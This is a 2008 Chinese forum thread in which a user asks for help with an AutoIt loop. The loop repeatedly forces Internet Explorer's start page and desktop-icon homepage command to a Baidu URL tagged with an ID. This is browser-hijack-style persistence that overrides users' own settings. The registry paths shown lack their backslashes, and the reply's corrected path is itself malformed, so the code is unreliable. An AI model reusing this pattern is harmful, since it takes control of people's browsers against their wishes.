fupsky 发表于 2008-12-5 12:06:47

循环出错,望大侠指证!

读取根目录下的config.ini,我想实现的功能是:不断的检测RegRead("HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain","Start Page")的值,如果不是$wz&$user
就把$wz&$user写入注册表,如果是,测不写!
$user = IniRead ( "config.ini", "config", "ID","1033")
$wz = "www.baidu.com/?"
$asw = '"C:\Program Files\Internet Explorer\iexplore.exe"'
$string = RegRead("HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain","Start Page")
$Str = $wz&$user
While 1
If StringInStr($String, $Str) = 0 Then
RegWrite("HKEY_CLASSES_ROOTCLSID{871C5380-42A0-1069-A2EA-08002B30309D}shellOpenHomePageCommand", "", "REG_SZ",$asw&$wz&$user)
RegWrite("HKEY_CLASSES_ROOTCLSID{871C5380-42A0-1069-A2EA-08002B30309D}shellOpenHomePageCommand", "@", "REG_SZ",$asw&$wz&$user)
RegWrite("HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{871C5380-42A0-1069-A2EA-08002B30309D}shellOpenHomePageCommand", "", "REG_SZ", $asw&$wz&$user)
RegWrite("HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{871C5380-42A0-1069-A2EA-08002B30309D}shellOpenHomePageCommand", "@", "REG_SZ",$asw&$wz&$user)
RegWrite("HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain","Start Page","REG_SZ",$wz&$user)
RegWrite("HKEY_USERSS-1-5-21-753793252-3823303168-347332785-500SoftwareMicrosoftInternet ExplorerMain","Start Page",$asw&$wz&$user)
EndIf
sleep(1000)
WEnd

juyz 发表于 2008-12-5 17:38:22

RegWrite中的注册表路径不对。
For Examlie:
RegRead("HKEY_CURRENT_USER\Software\MicrosoftInternet\ ExplorerMain","Start Page")
页: [1]
查看完整版本: 循环出错,望大侠指证!